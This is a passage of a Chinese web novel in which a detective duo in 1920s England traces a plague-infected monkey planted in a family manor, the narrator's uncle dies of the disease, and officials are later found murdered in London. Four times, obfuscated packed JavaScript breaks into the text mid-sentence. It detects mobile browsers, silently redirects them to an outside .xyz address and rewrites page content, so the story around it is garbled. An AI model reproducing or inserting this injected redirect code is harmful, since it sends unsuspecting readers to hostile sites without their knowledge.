梅尔小姐利落地戴上两层厚橡胶手套，口罩外又蒙了一层浸透酒精的厚布。简也如法炮制。两人身上散发出浓烈刺鼻的酒精味。 没有多余的话，简示意我指方向。纳迪尔想跟，被简一个眼神制止。 “待着，保护好自己和你姐姐。” 通往储藏室的走廊昏暗，死寂，弥漫着焦糊味和更浓的消毒水气息。 地上灭火留下的水渍和焦黑痕迹还在。 储藏室的门虚掩着，门框上有几道新鲜的，深色的抓痕，混合着泥土和暗红的污渍。是那只猴子留下的。 梅尔小姐停在门口，没有立刻进去。 她蹲下身，指腹隔着手套，极其轻微地蹭过门框上那点暗红污渍。 又侧头，仔细嗅了嗅空气（隔着厚厚的防护），眼神冰冷。 她轻轻推开虚掩的门。 里面一片狼藉。 翻倒的果酱罐碎了一地，黏稠的暗红果酱混合着玻璃碴和灭火留下的灰烬水渍，散发出甜腻又腐败的气味。货架被撞得歪斜，地上散落着面粉袋、干豆子。 她们动作极其谨慎，每一步都避开地上的污秽。 她们进去了。 50.5.7 我不知道她们是怎么做到的，但简和梅尔小姐成功将那只带来噩梦的怪异猴子的尸体带了出来。 我们听从布朗医生的指挥，将猴子的尸体放进了密封的盒子里，还加上了厚厚的积雪与石灰。 那只可怕的猴子，满身都是脓包，腥甜腐败的恶心味道几乎让人深入灵魂。 “它本来就活不了多久了。”简冷硬的说。 她是对的。 我从来没有想过会有如此恶毒的事情。 投放一只带有病毒的动物。 引起一场不止会有多少人死亡的疫病。 仅仅是因为我的父亲触犯了他们的利益。 为什么呢？ 我无法去苛责我的父亲。 他是受害者。 他有他的坚持和理由。 我也没法去责怪一只猴子。 它在箱子里，被洁白的积雪覆盖着。 我……我不明白… 上帝啊…… 大雪覆盖的人间为何仍有罪恶？ 我在这里书写着…… 即使这件事情已经过去了许久… 即使从1922年到1927年的现在，我经历了很多，我仍然无法明白。 我能做的，只有和简，还有梅尔小姐，奔赴一个又一个案子…… 这是否有用呢？ 不重要了… 我在这里书写着…… 我并不是要一个答案… 我只是坚持着… …… 我只是坚持着。 …… 呼啸席卷的大雪会迎来落幕，清晨的阳光会刺破云层…… 疫病得到了控制… 多亏了布朗医生，他上过战场，到过非洲，他是一个优秀的医生。 还有…多亏了简… …… “源头找到了，但污染已经造成。”布朗医生疲惫地搓了搓布满血丝的眼睛，转向简和梅尔小姐，“你们…接触过源头，必须严格观察。从现在起，你们也不能离开了。” 简点了点头，没有丝毫意外或抗拒。 她的目光扫过被白雪覆盖的庄园，最后落在我身上，带着一丝不易察觉的安抚。“弗瑞，我们需要谈谈。单独。” 我们退到寒风凛冽的庭院一角，远离其他人。积雪在脚下发出咯吱的声响。 “储藏室的里，”简的声音压得很低，确保只有我们两人能听见，“除了猴子的爪痕和…那些污渍，还有另一种痕迹。” 我的心猛地一沉。“什么？” “很浅，但能分辨。是皮鞋的后跟印，男人的尺码。”简直视着我。 “我就知道…我们得找到他…他…！” “好了好了…弗瑞…冷静…”简按住我的肩膀，她浅绿色的眼睛注视着我，让我逐渐安定了下来…… “梅尔在储藏室还发现了一点别的东西。一个被丢弃的雪茄烟蒂，很特别的那种，高档货。就扔在翻倒的货架角落，被灰烬半掩着。” 高档雪茄…？！ “我的父亲并不抽雪茄！仆人也抽不起这种东西！那一定是投放猴子的人抽的！”我迅速地说。 “可能性非常大。”简的声音冰冷，“而且，这个人对宅邸的布局很熟悉，知道储藏室的位置，知道混乱中哪里最不容易被注意。” 一个名字，一个令人作呕的形象，瞬间浮现在我脑海中。 利德森叔叔。 他那张带着虚伪笑意的脸，他在晚餐时恶毒的言语，他对我“伦敦工作”的鄙夷，还有……他匆匆离席时那慌乱又带着诡异满足的表情。 利德森·本。 只有他会为了身份，抽食昂贵的雪茄！ 一股混合着恶心和狂怒的热流直冲头顶。 他怎么能…！ 我们并没有亏待他。 “看来你心里有想法了？说一下……”简的话并没有问完，被仆人跌跌撞撞跑过来打断了。 利德森叔叔死了。 死于猴痘。 他是我叔叔。 他死于自己的恶意。 他死的时候，满身腐烂的脓包，瘦弱，凄惨…… 就像那只雪箱里的猴子。 我应该去恨他吗？ 我不知道。 但我也不应该原谅他。 那些因为他的行为而死亡的人，不会原谅他。 我们庄园的疫病，在最开始的时候就得到了控制，可是利德森叔叔府上没有… 等布朗医生赶过去的时候，所能做的有限…… 有的人挺了过来…感谢上帝…… 有的人没有…在火焰中归于上帝… 这是一个漫长的噩梦… 噩梦结束了的时候，有着无数的死亡，还有人类面对疫病的无能为力。 当我写这个文字的时候，我想到了中世纪…… 黑死病的席卷。 我感谢科学，感谢医生。 它让我的家人活了下来… 但科学仍需要进步…… …… 我的父亲，他幸运却也是不幸… 他活了下来。 可怕的疤痕却即将伴随他后半生。 还有……他要面对他弟弟的死亡与恶意… 可怜的艾格尼丝，也许是因为她体质好一些？也许是因为她得到了上帝的眷顾？又或许是因为那位老妇人认真的照料？ 她的疤痕不如我父亲那般可怕，也没有集中在脸上，只在背后有一些…不幸中的万幸。 那位可敬的老妇人死了…… 她不是死于疫病。 而是在这事情结束之后，某一天的清晨，无疾而终。 艾格尼丝给她举行了葬礼。 她的墓碑上是空白的。 但会有人记得她。 …… 至于利德森叔叔。 我的父亲仍然替他举行了盛大的葬礼。 即使为了防止疾病的扩散，利德森叔叔早已归于火焰。 “银钱松，金碗碎……尘归尘，灵归灵……” 在神父的祷告中，我的父亲裹着厚重的绷带，注视着相框中自鸣的人。 他在祭奠他死去的弟弟。 …… 读者们，我不知如何去描述。 这是一个混乱的圣诞。 它是否到此为止了呢？ 我的叔叔，利德森·本，不过是一个被蒙骗的棋子，并且为之付出了生命的代价。 猴子来源于非洲。 可利德森叔叔并没有去过非洲。 可能，在他的眼中，他不过是放了只小动物，吓吓人而已… 后面有那天被利德森叔叔训斥的仆人说，他看见利德森叔叔神色紧张地带着黑箱子进过储藏室… 算了…… 细纠这些东西都已经无意义了。 在确认没有感染之后，梅尔小姐早早地离开了。 简倒是留了下来。 她一直陪着我，直到庄园彻底安定下来。 那已经是春天了。 在她待在本庄园的时候。 纳迪尔到后面很听简的话。他对简有一种敬佩。 这个当时才19岁的男孩。 在经过这可怕的事情之后，似乎一下子就彻底长大了。 他开始接受父亲的工作，管理庄园的事物，彻底承担一个继承人的责任。 他开始隐藏情绪， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124856|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也不再从他身上察觉表面的累。 只有最开始，他偶尔的，暗戳戳的，针对简的小任性。 他会故意地提出各种困难的问题或者要求，想要简解决。 对于问题，简总能完美给出答案。而那种刁难的要求，简总是直截了当的拒绝。 “里斯克小姐…我承认你有点本事。”纳迪尔的声音传来。 我快步穿过走廊，来到小温室。 仆人刚刚才告诉我，纳迪尔又跑过来打扰简了。 真是的…… “那你能保护好我的姐姐吗？”纳迪尔问，声音严肃。 我的脚步顿住。 “当然。我会保护好她的。”她看着我说，她早就发现我了。 纳迪尔背对着我，“里斯克小姐，你可要说到做到！那可是我姐姐！” “嗯。” 我调整了一下情绪，走进了温室，“纳迪尔，简，去用晚餐吧。” “啊？哦好的，姐姐。”纳迪尔一本正经地应着，动作极快地离开了。倒有一点落荒而逃的意味了。 他可真是的… “看起来很开心？”简放下了手中的书，从藤椅上站起来。 “才没有。好了。去吃晚餐。”我拉着简说。 最初，我的父亲仍旧卧病在床，需要恢复，我的母亲忙着照顾父亲。 对于简的到来，他们无暇他顾。 等父亲的身体渐渐好起来了（那可怕的疤痕我们无能为力），用餐便成了所有人聚在一起的时刻。 当然，食不言寝不语。 他们的教养，让他们不会轻易在餐桌上评头论足。 我也不会多说什么。 但是这次的晚餐又有些不一样。 …… 晚餐。 长桌铺着白桌布。刀叉偶尔碰到盘子，声音很细微。 即使已经春天了，壁炉里的木头仍然烧着，噼里啪啦地响着。 空气里有食物味道，也有消毒水和药膏的味道，混在一起。 父亲坐在主位。 他不再带曾经最喜欢的眼镜，身上的绷带拆了，脸上脖子上全是深红扭曲的疤，像爬着什么。他慢慢切肉，动作有点僵，每次抬手都皱一下眉。灯光下，那些疤显得很深。他没怎么说话，偶尔抬眼看看我们，眼神沉沉的，看不出什么。 母亲坐在他旁边，更瘦了。她只吃一点点，大部分时间看着父亲，或者低头看盘子。 我和简坐一边。纳迪尔坐在另一边。 简吃得安静，没什么表情。她动作利落，和往常一样。 纳迪尔看看父亲，又看看简，最后盯着自己的盘子，叉子无意识地戳着土豆。 沉默。 只有壁炉和餐具的声音。 父亲突然放下了刀叉。金属碰到瓷盘，很清脆。 我们都停下了动作。 他看向简。 “里斯克小姐。”声音有点哑，比以前粗粝。 简抬眼看他，“先生。” “谢谢你。”父亲说。就三个字。 简顿了一下，点点头，“应该的。” “弗瑞……”父亲转向我，眼神复杂，“……你在伦敦做的事……”他没说完，似乎找不到词，或者力气。 我等着。喉咙发紧。 “……做得对。”他最后说，声音很低，但很清晰。说完，他像耗尽了力气，靠回椅背。 母亲轻轻碰了碰他的手。 纳迪尔猛地抬起头，看看父亲，又看看我。 简没说话，端起水杯喝了一口。 父亲没再开口。晚餐就在这种沉重的安静里继续。没人说话。空气里只剩咀嚼声，和壁炉里木头燃烧的声音。 51.5.9 我和简一起离家前往伦敦的那天，温室里的花开得正欢。 那天的天气算不上多好。 纳迪尔出来送我，父亲与母亲未曾露面。 我最后抬头看了看主楼，然后坐进了简的车子里。 简发动车子，带着我远离，庄园在我的身后，越来越远，越来越小，小到成为一个点，然后消失不见。最后，我只好无奈地收回了视线。 从萨罗郡到伦敦有多远呢？ 也许很近，二者在地图上相邻。 也许很远，足够太阳从我们前面跑到后面。 太阳落在了我们身后。 庄园也落在了我们的身后。 …… 我的父亲离开了议会。在我母亲的再三劝说之下。 庄园的事情似乎已经结束了。 利德森叔叔的死，掩盖了大部分的事情。 究竟是谁给了他那只猴子？或者说，究竟是谁策划的这可怕的一切。 一场疫病？！！生命对于策划者来说，仿若无足轻重。 我知道必然是父亲触及到利益的那些殖民官员，可他们的人数又是何其多。 我想找和利德森叔叔有关系的，可他的仆人们知之甚少。 在确认没有感染后，梅尔小姐就回了伦敦。我不知道她在做什么。 老滴答忙着照看查令十字街的事务所，还有照看我们的公寓，那总要有人打扫。 车子碾过伦敦街道略显干燥的石板路，最终在我们熟悉的布鲁姆斯伯里的公寓门前停下。 四月的阳光带着暖意，斜斜地穿过路旁榆树新抽的嫩叶，在车顶和布满灰尘的人行道上投下斑驳晃动的光点。空气里有泥土苏醒的气息，混合着远处飘来的淡淡花香。 春天确实到了。 我刚推开车门，双脚还未完全踏上人行道，一个报童清脆又略带沙哑的吆喝声就穿透了下午的宁静。 “号外号外！” “殖民部多位官员被割喉调查未果。部长被告贪污！乔治国王下令彻查！” 那声音尖锐，带着一种贩卖惊悚的急切，与这和煦的春日格格不入。 简的动作比我更快一步。 她已绕过车头，几步走到那挥舞着报纸的报童面前。 一枚硬币在空中划出短暂的银光，精准地落入报童手中。几乎是同时，一份带着油墨潮气的报纸就到了她手里。 阳光慷慨地洒在她棕色的发梢上，也照亮了报纸头版那触目惊心的巨大黑体字。 “殖民部多位官员被割喉调查未果。部长被告贪污！乔治国王下令彻查！” 她站在那里，就站在春日暖阳下，垂眸看着那血腥的标题。阳光在她低垂的眼睫下投下一小片阴影，报纸在她手中发出轻微的声响。 伦敦的春日阳光似乎瞬间失去了温度。我站在车旁，刚感受到的一点暖意瞬间消散。 殖民部…官员…割喉… 每一个词都让我想到萨罗郡那场噩梦。 我几乎能闻到储藏室里猴子的腥甜腐败气息，混杂着利德森叔叔最后那间病房里绝望的恶臭。 那些名字……报纸上虽未明说，但我心头却掠过几个模糊而可憎的面孔。 正是父亲在议会里那些最激烈的反对者，那些被他指责为“掠夺者”“刽子手”的人，那些利益因父亲的提案而受损的人。 是巧合吗？ 我下意识地看向简。她依然垂眸凝视着报纸，阳光勾勒着她专注的侧脸，平静得仿佛只是在研究一份普通的天气预报。 “简……”我的声音有些干涩。 她终于抬起头，将报纸随意折起，塞进大衣口袋。 那动作流畅而寻常。 “走吧，弗瑞，”她的声音对我笑了笑，“老滴答该等急了。” 她没有探究，没有评论。 我的心沉了下去。那沉，并非坠入冰窟的刺骨，而是一种带着钝痛的明了。 梅尔小姐的匆匆离去……她那些神出鬼没的本事……简冰冷高效的行事风格…… 我该问吗？ 问什么？ “简，是你和梅尔做的吗？” 为了我？为了我的家人？为了那些无辜死去的人？ 问不出口。 我信任简，近乎本能地信任她。这种信任，在生死之间已经深深扎根。 也许，沉默本身就是一种答案。 她的沉默。 我的沉默。 我想到了倒在泰晤士河畔的杜维恩伯爵。 我最终什么也没问。 只是沉默地跟在她身后，踏上公寓的台阶。钥匙插入锁孔的声音清脆地响起，门内传来老滴答熟悉的嘟囔声。 公寓里弥漫着熟悉的灰尘和柠檬油混合的味道，阳光透过窗户，在地板上投下温暖的光。 一切似乎都和离开时一样。 简脱下大衣，挂在衣帽架上，动作依旧利落。她走向窗边，望着楼下逐渐喧嚣的布鲁姆斯伯里街道。 阳光照在她棕色的头发上，泛着一层柔和的光晕。 “弗瑞，”她没有回头，声音很轻，几乎要融进窗外的市声里，“伦敦的雨，总是能洗刷掉很多东西。” 我站在玄关，望着她的背影。 那背影挺拔，熟悉。 洗刷？洗刷掉血迹？洗刷掉痕迹？还是洗刷掉……记忆？ 她是对的。 伦敦的雨很大。 雨水会冲刷石板路上的污迹，会模糊行人的视线，会将一切尖锐血腥的东西，都溶解在它灰蒙蒙的、永无止境的潮湿里。 我们不会再提起萨罗郡那只猴子的真正来源。不会再深究利德森叔叔背后那只更阴冷的手。也绝不会，去触碰报上那几桩发生在殖民部大楼阴影里的割喉惨案。 真相，它们会像被雨水打湿的墨迹，晕染开，最终只留下一个模糊且令人不安的印子。 我走到她身边，也望向窗外。 春日的气息仍在，泥土的芬芳，新叶的清新。 梅尔小姐在哪儿？也许在某个烟雾缭绕的角落，也许已经踏上了去往下一个目标的火车。她像一道无声的影子，执行着简那冰冷而高效的意志。 而简……我侧过头，看着她平静的侧脸。 那浅绿色的眼睛深处，映着窗外伦敦铅灰色的天空，深得像不见底的寒潭。 信任，有时就是一场沉默的共谋。 为了走下去，为了那些她承诺会保护的人，包括我，也包括纳迪尔，包括许许多多的人。即使这信任的基石下，可能铺着未冷的血。 “是啊，”我听见自己的声音响起，平静且清醒，“伦敦的雨……总是很大。” 窗外，一片阴云缓缓遮住了阳光。 第一滴雨，终于落了下来，敲打在玻璃窗上，留下一条蜿蜒的水痕。 像是谁的眼泪，又像是冲刷一切的开始。 那报纸上惊悚的标题，那几位官员离奇而惨烈的死亡，它们究竟是谁的手笔？ 我们永远不会知道。至少，在明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131749|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面上，在弗瑞和简之间，在她们奔赴的下一个案子之前，它们只会是伦敦又一个被雨水冲淡的、悬而未决的谜。 雨，渐渐大了。 伦敦用它惯常的方式，掩盖着一切。 而我们，选择在沉默中，转身走进屋内，迎接下一个需要真相的黎明。 一个或许同样浸染着血色，却注定会被新雪或雨水覆盖的黎明。 泰晤士河的水会涨起来。 这是否算是一种迟来的血腥正义，或者，又或者仅仅是另一场以暴制暴的循环？ 我们在循环里。 就像当初面对杜维伯爵的事情，我想不出更优的选择。 如今，我也想不到其他更好的方式。 钱与权，它们构成了最深刻的品质，在绝对的力量面前，司法与正义，只是它们的玩笑。 但我们又是否有权利呢？ 又能否冠之正义呢？ 啊，读者，无需在意，这不过是一名中产阶级小姐的普通闹骚。 一切都不过是我的臆测，因为我从未真正的鼓起勇气切实去问过。 但我想没人质疑简的善意。 我曾经见过简特别珍视的一册档案。 上面是她独特的手写。 ''''The Veiled Truth'''' (尘封的真相) 那是一份很少打开的档案。 独立于书架里堆积的那些分门别类的档案，它独自躺在简查令十字街的办公桌抽屉里。 在我们回来没多久，那份独特的档案就再一次被打开，往里面增添一点新的东西。 我注视着。 看见一个久违的，令人钦佩的名字。 艾奥瓦·霍顿。 读者们。 真相是有重量的吗？它为何总是要权衡呢？ 我站起身，看向窗外。 春天到了，伦敦又要迎来雨季了。 …… 太阳升起来了。 晨光清冽。布鲁姆斯伯里街道两旁的榆树新叶还挂着细小的水珠，在阳光下闪闪发亮。空气里有泥土、新叶和远处面包店飘来的暖香。 我和简并肩走着，步调一致。 她穿着惯常的深灰色套装，步履利落。我稍微落后半步，整理着手套的搭扣。 “今天早上的信件里，有没有什么有趣的？”我问道，目光掠过街角刚开门的书店橱窗。 “一份来自肯特郡的咨询，”简的声音平稳清晰，像她走路的节奏，“关于一座据说闹鬼的老教堂。描述相当……戏剧化。”她嘴角似乎极轻微地向上牵了一下，转瞬即逝。 “戏剧化通常意味着人为痕迹更重。”我接道，终于扣好了手套。 “同意。”她简短地回应。 我们转过熟悉的街角，查令十字街12号那扇镶嵌着黄铜钟表图案的深色木门就在眼前。 门上方古老的钟表店招牌在晨光中显得格外清晰。隔着门，仿佛已经能听到里面那恒久不变的背景音，无数精密的齿轮发出的，细密而规律的滴答声。 简伸手推开门。门轴发出轻微而熟悉的“吱呀”声。 柜台后，老滴答正小心翼翼地给一座维多利亚风格的镀金座钟上弦。 听到门响，他抬起头，布满皱纹的脸上立刻绽开一个熟稔而温暖的笑容。 “啊，小姐们，早上好！”他洪亮的声音在满室的滴答声中响起，带着真切的愉快。 这不过是一个平常的又一天早晨而已。 52.5.10 圣诞。 弗瑞要回家。 我知道的。 她该和她的家人在一起。 很多人往查令十字街送了贺信。 我将混着康诺特公爵，还有格林小姐的那些无用的信件扔进了垃圾桶。 窗外在下雪。 梅尔没和我一起。 她在管着几条线路。 爱尔兰的需求加大了。 混乱可不会因为过节而停止。 谈不上好与坏。 那个男人反倒是一直想从我这分一杯羹。 他永远不知足。 …… 我独自一人在查令十字街12号。 这不过是曾经习惯的了。 只是，弗瑞不在而已。 她的家人需要她。 圣诞过去，她会回来吗？ …… 老滴答在敲门。 他送上来了一份浮夸的礼盒。 当我写这个不知道什么记录的时候，带着十字的贺卡静静地躺在我的手边。 克罗斯（Cross），华丽的乌鸦，他总喜欢这些华而不实的东西。 信里戏剧地讲诉了他如何再一次戏耍了无能的苏格兰场，得到了一颗无价的宝石，然后迅速地丧失兴趣，光明正大地放在了苏格兰场的门口。 无聊地乐趣。 末了，他才吝啬的替及到了祝福。 为了防止贺卡丢失，在这里记一下。 “啊哈！小蛇，自由的新一年痛快地玩闹吧！送你身边小搭档的礼物。来源干净哦。” 那是一个很精致的珠花，蓝色的。 算他有心。 我让老滴答挑了一个他常用的型号送过去。 算是回礼。 …… 礼物… 我不过节，但我会替朋友准备礼物。 我并不是无礼的人。 弗瑞会喜欢我替她准备的礼物吗？ 她会送我什么？ 我在期待？ 她总让人出乎意料。 就像最初她同意和我爬通道一样。 她不会让人失望。 …… 我最新接到的竟然是弗瑞的电话。 殖民获利清算？ 那究竟会触及多少人的利益？ 连那条老毒蛇都不能躲过。 殖民部分是康诺特公爵负责的，他一向手段肮脏，利欲熏心，野心勃勃。 金环蛇在这方面并不干净。 但我顾不上这些了。 我带着梅尔赶往了萨罗郡。 那天的风雪很大。 大雪让火车停运。 车子在刚到萨罗郡的时候抛锚。 没关系。 我说过我会立马赶过去的。 …… 传染病。 人为投放的带病动物。 我能做什么？ 死了很多人。 弗瑞忙着照顾她的家人。 我能做什么？ 弗瑞想找到背后的推手。 …… “小姐，我会帮你的。”梅尔说。 我应了。 …… 在弗瑞家的日子还行。 即使我很少见到本夫妇。 我也可以轻易知道，他们是一对恩爱的夫妇。 纳迪尔是一个好弟弟。 弗瑞有一个好家庭。 …… 雪开始消融。 春天来了。 …… 我和弗瑞回来了。 弗瑞没有问。 我看着报纸。 我们保持着心照不宣的沉默。 …… 先生找我，说我的动静太大了。 但可以打击到日渐膨胀的康诺特，他又乐见其成。 康诺特公爵的“和谈”邀请函紧随而至。 烫金的徽章在劣质纸张上显得格外滑稽。 我让梅尔原封不动退了回去。 附带一张空白卡片。 没必要。 不差这一件了。 他损失的不过是一批爪牙，几处钱脉。根须深扎在殖民地的腐土里，动不了筋骨。无非是再花些时间，用金币和许诺，把议会走廊里空出来的位置，重新塞满新的鬣狗。 我们行走的地方，光与影的界限早已模糊不清。他的阴影，我的阴影，最终都融在同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135590|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片泥沼里。 …… 老师，这样算好吗？ …… 雪水渗进泥土。 痕迹淡了。 报纸堆在角落。 梅尔带回消息。 线断了。 意料之中。 …… 老滴答在楼下修整壁炉，铁器碰撞声空洞地回荡。 抽屉拉开。 蓝色的珠花，克罗斯那只乌鸦的馈赠，躺在天鹅绒衬布上。 旁边。那只定制的银怀表。我替弗瑞准备的圣诞礼物。 它最终没能在那场风雪前送到她手上。 表壳冰凉。厚实。掂在手里有沉甸甸的分量。 我摩挲着光滑的表面，指腹能感觉到表盖内侧那行几乎不可辨的微小刻痕，一个日期。 圣诞？ 已经是很久以前的事了。 风雪隔开了两个季节。 …… 弗瑞送我的礼物确实出乎意料。 我以为会是实用的工具，或者风衣之类的。 但她送给了我一只翡翠胸针。 她说这个很适合我。像我的眼睛。 它不够实用。 但我很喜欢。 …… 弗瑞在整理她的文件。 我把那个没有任何装饰的深色小皮盒推过去，放在桌角。 她动作顿住，抬眼。 “圣诞的。”我的声音有些干涩，“迟了。” 她没说话。打开盒子。 她拿起它。指腹抚过冰凉的表面，然后，很自然地，拇指指甲抵住表盖边缘一个几乎看不见的微小凹槽。 表盖弹开。露出表盘。也露出了内侧那行需要凑近才能看清的刻痕。 她的指尖停在那行字上。很久。 然后，我看到她眼睛极快地亮了一下。 “谢谢。”她说。 她把怀表小心地放回盒子，没有立刻收起，就让它放在桌面上，表盘对着我这边。 她继续整理东西。 我没再看她。盯着那表盘上跳动的秒针。 它开始走了。 时间，又流动起来了。 …… 53.6.1 简和我最近在又解决了一个教堂闹鬼的案子。 听起来极其具有戏剧性，但其实不过是有人借助老旧教堂的掩护，运输和贩卖一些危险的东西罢了。 那种，可怕的、迷惘的，带给人死亡快感的东西。 苏格兰场的人迅速介入。 简却没有解决案子的欣喜。 我也差不多。 日子就这样漫不经心地过去了。 我却收到一份意料之外的邀请。 邀请我去参加春日的茶话舞会。 不是那种普通的贵族女性之间的那种日常交流的那种茶话会。那是一份与众不同的邀请。 信封材质优良，边角金环蛇图案泛着鎏金的光彩。内里是一封邀请信，以及一张单独的卡片。 卡片的背后也有着一个栩栩如生的金环蛇图案。卡片上面写着，For Miss Jane Risk。只有这几个字。 我没弄明白，金环蛇的邀请为什么会送到我这里来？ 邀请信的内容并没有什么特别的。不过是日常的套话与寒暄，然后提及他所要举办的春日茶话会，然后邀请我与简一同过去。 但是邀请信落笔的名字，却让我停顿了许久。 奥克斯·康诺特。 康诺特公爵。 我想起了那个昏暗的房间，先生与简的交流，想到了那个无辜死亡的艾奥瓦先生。 康诺特公爵。这个从始至终没有露过面的可怕对手，为何要送我一份茶话会邀请呢？ 他总不会没有理智地在茶话会上做什么吧。 简的表情并不好看。 台灯昏黄的光晕中，她沉默地把玩着手里寥寥几字的精致卡片，鎏金的蛇在光线下反射出阴冷的光。 “老康诺特还是有点脑子，就这么恶心我。呵。”简的声音充满着冷意。 “弗瑞，不用担心，就是普通的茶话会。他不会做什么的。你可以不用去。”简明显察觉到了我的担心，她说。 “你会去吗？”我问。 “去，为什么不去？他用我送出去的空白卡邀请我，我当然要去。”简漫不经心地笑着。 她和我说了空白卡的意义。 一份许诺。 当然，完不完成，看双方的意愿与本事。 简说，如果康诺特公爵用这份卡片想换取其他更重要的东西，她都和康诺特有的较量，甚至压根就不会考虑完成。 可偏偏老康诺特用这卡片邀请简。 一个简单又有点恶心的要求。 它会带来一场会面。 …… “我也要去。”我说。 我是简的搭档，是她的朋友。 邀请信送到了我这里，我不可能当什么都不知道。 我应该陪着简。 …… “行。”简没有坚持。她只是嘱咐我一定要注意情况，还要跟紧她。 简说得对，康诺特公爵不至于在光天化日之下，在他自己举办的盛大春日茶话舞会上公然动手。但这念头并未带来多少安慰。 赴约那日，天气好得近乎奢侈。 阳光毫无保留地倾泻在康诺特公爵府邸那辽阔得惊人的花园里，将一切都镀上了一层鲜亮晃眼的金色。 精心修剪的树篱，大片大片盛放的郁金香和风信子。空气里弥漫着甜腻的花粉气息和昂贵香水的混合味道，浓郁得让人有些发晕。 奢华。 是的。极致的奢华。 洁白的凉亭下，精致的瓷器和银器在长桌上闪烁着冷光，堆叠的糕点如同艺术品。衣着华贵的男男女女像色彩斑斓的蝴蝶，在草坪上、花丛间散动、低语、浅笑。乐队演奏着轻快得有些飘忽的乐曲，一切似乎都无比完美。 我们站在入口处，显得有些格格不入。 简一身利落的深色套装，线条分明，风衣下摆利落。我则穿了件更柔和的米色裙装，在这片浮光掠影中只感到无形的拘谨。 那份带着特殊印记的邀请函，此刻正安静地躺在我手袋的夹层里。 “阵仗不小，”简的声音带着点冷，目光锐利地扫过眼前这片繁华，“倒是挺会享受。也真舍得下功夫。” 她话音刚落，一位身着剪裁完美黑色礼服的中年男人便悄无声息地出现在我们面前。他脸上挂着无可挑剔的微笑，微微躬身。 “里斯克小姐，弗瑞小姐。”他的姿态带着训练过后的平稳，“公爵大人正恭候二位。请随我来。” 我们被引着穿过笑语喧哗的人群。投向我们的目光带着好奇与探究，或许还有不易察觉的距离感。 侍者领着我们走向花园深处，主会场的喧嚣渐渐被抛在身后。 绿意更浓，花香更盛，音乐也变得遥远而模糊。 最终，在一处被高大紫藤花架半掩映的僻静角落，我们停了下来。一张小巧的白色圆桌旁，只放了两把椅子。 侍者无声地退入花架的阴影。 紫藤花低垂，浓郁的甜香在静谧中几乎令人窒息。阳光被花叶撕碎，在地上投下晃动不安的光点。 简没有坐。 她站在桌旁。她目光扫过爬满藤蔓的石墙，交错的枝叶，最后落在花架深处。 轻微的鞋底碾过碎石的声响。 一个人影从浓密的紫藤花帘后缓步踱出。 他身形高瘦，穿着剪裁精良的深灰色晨礼服，几乎与背景的阴影融为一体。阳光吝啬地照亮他半边脸，深刻的法令纹，薄而缺乏血色的嘴唇抿成一条直线。 康诺特公爵。 他径直走到桌边，拉开一把椅子坐下，动作带着一种刻意的从容。 他的目光先落在简身上，那审视的意味冰冷而粘稠，然后才转向我，短暂地停留了一下，像掠过一件无关紧要的东西一样。 “里斯克小姐。”他的声音带着拖长的语调（做作的那种，我不喜欢。），“还有弗瑞小姐。感谢赏光。” “物归原主。”他指那张卡片，“顺便，邀请老朋友叙叙旧。这春日，正长。” 简终于动了。她跨了几步，肆意地坐在了伯爵地对面。 “叙旧？康诺特，这次又想叙什么？”她盯着公爵的眼睛，没有丝毫退让，“用这种方式请我来，就不怕这满园春色，沾上点不该沾的颜色？” 公爵嘴角极其细微地向上牵动了一下，那弧度与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136728|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其说是笑，不如说是某种肌肉的抽动。 “别紧张，里斯克。只是喝茶。”他抬手，不知何时，一个穿着同样黑色制服的侍者出现在几步之外，托着银盘，上面是精致的瓷壶和三只薄胎茶杯。“春日正好，何必辜负？” 侍者无声上前，将茶杯一一放在我们面前。 琥珀色的茶汤注入杯中，热气袅袅升起，混合着香料和草木的味道。 空气安静了，只有那茶香在寂静中弥漫开来。远处花园的喧嚣，此刻听来如同隔世。 我站在简身侧没动，看着那杯冒着热气的茶。而伯爵，他自顾自的喝了起来。 “春光当然好，但是公爵府里的，呵。”里斯克近乎挑衅的说。 